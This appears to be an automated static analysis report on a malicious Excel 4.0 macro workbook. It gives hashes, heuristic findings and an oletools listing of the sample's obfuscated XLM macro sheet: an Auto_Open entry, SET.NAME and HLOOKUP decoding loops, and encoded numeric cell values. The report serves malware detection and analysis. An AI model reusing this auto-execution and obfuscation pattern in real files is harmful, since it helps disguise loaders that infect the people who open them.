Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0301a6fcbe4300d6…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:40:49 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 1fed16f4d18ee9177c8af600213e1fcf SHA-1: b5ffa7fb77be383df1aabd49f4e8b21334075b4c SHA-256: 0301a6fcbe4300d695f3ef53e0b61234b7a2005660e9444abb877e3e6cf115c3
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6656 bytes
SHA-256: 5feae1d1a3a225c95079753944d1676d4ee71cb44a8f6324c52720ad732ae836
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  nafBhW
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E141 
' 0018     24 LABEL : Cell Value, String Constant - CfxyBKRfn len=0 
' 0018     24 LABEL : Cell Value, String Constant - ebBJofOWQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - FGoul len=0 
' 0018     22 LABEL : Cell Value, String Constant - HyKZfHV len=0 
' 0018     24 LABEL : Cell Value, String Constant - iXoMwCYoP len=0 
' 0018     25 LABEL : Cell Value, String Constant - lLJewNwDLH len=0 
' 0018     27 LABEL : Cell Value, String Constant - mPpZbMODkvOk len=0 
' 0018     22 LABEL : Cell Value, String Constant - nXbezVM len=0 
' 0018     26 LABEL : Cell Value, String Constant - PgtbVyhaRnj len=0 
' 0018     27 LABEL : Cell Value, String Constant - PstyvbhAqNHE len=0 
' 0018     20 LABEL : Cell Value, String Constant - rIaWo len=0 
' 0018     20 LABEL : Cell Value, String Constant - SaXJK len=0 
' 0018     21 LABEL : Cell Value, String Constant - uhnosH len=0 
' 0018     20 LABEL : Cell Value, String Constant - UljCu len=0 
' 0018     25 LABEL : Cell Value, String Constant - vTrJkaNEud len=0 
' 0018     23 LABEL : Cell Value, String Constant - VxClNZBh len=0 
' 0018     20 LABEL : Cell Value, String Constant - WhklP len=0 
' 0018     23 LABEL : Cell Value, String Constant - XBMWoYVt len=0 
' 0018     21 LABEL : Cell Value, String Constant - xdkXfZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - zDXeysiGvx len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  nafBhW,E50,"SET.NAME("CfxyBKRfn",0+VALUE("0"))",""
'  nafBhW,E53,"SET.NAME("lLJewNwDLH",CfxyBKRfn)",""
'  nafBhW,E57,"SET.NAME("mPpZbMODkvOk",CfxyBKRfn)",""
'  nafBhW,E61,"SET.NAME("vTrJkaNEud",COUNTA(ebBJofOWQ))",""
'  nafBhW,R62,"",-172.00000000000000000000
'  nafBhW,R63,"",613.00000000000000000000
'  nafBhW,R64,"",935.00000000000000000000
'  nafBhW,R65,"",246.00000000000000000000
'  nafBhW,E66,"SET.NAME("iXoMwCYoP",COUNTA(PgtbVyhaRnj))",""
'  nafBhW,R66,"",-915.00000000000000000000
'  nafBhW,R67,"",322.00000000000000000000
'  nafBhW,E68,[],""
'  nafBhW,E72,"SET.NAME("HyKZfHV","")",""
'  nafBhW,E75,"lLJewNwDLH",""
'  nafBhW,E80,"SET.NAME("SaXJK",HLOOKUP("*",ebBJofOWQ,lLJewNwDLH,FALSE))",""
'  nafBhW,E85,"UljCu",""
'  nafBhW,E88,"SET.NAME("nXbezVM",CfxyBKRfn)",""
'  nafBhW,E92,[],""
'  nafBhW,E94,"nXbezVM",""
'  nafBhW,E98,"VxClNZBh",""
'  nafBhW,E101,"FGoul",""
'  nafBhW,E103,"zDXeysiGvx",""
'  nafBhW,E107,"SET.NAME("WhklP",VALUE(HLOOKUP("*",PgtbVyhaRnj,zDXeysiGvx,FALSE)))",""
'  nafBhW,E111,"rIaWo",""
'  nafBhW,E113,"HyKZfHV",""
'  nafBhW,E117,"mPpZbMODkvOk",""
'  nafBhW,E122,NEXT(),""
'  nafBhW,E126,"XBMWoYVt",""
'  nafBhW,E129,[],""
'  nafBhW,E131,"xdkXfZ",""
'  nafBhW,E133,NEXT(),""
'  nafBhW,E137,RETURN(),""
'  nafBhW,E158,"SET.NAME("PstyvbhAqNHE",E50)",""
'  nafBhW,E162,"ebBJofOWQ",""
'  nafBhW,E165,"SET.NAME("PgtbVyhaRnj",R95C11)",""
'  nafBhW,E170,"SET.NAME("xdkXfZ",180)",""
'  nafBhW,E174,"SET.NAME("uhnosH",5)",""
'  nafBhW,E179,PstyvbhAqNHE(),""
'  nafBhW,E180,HALT(),""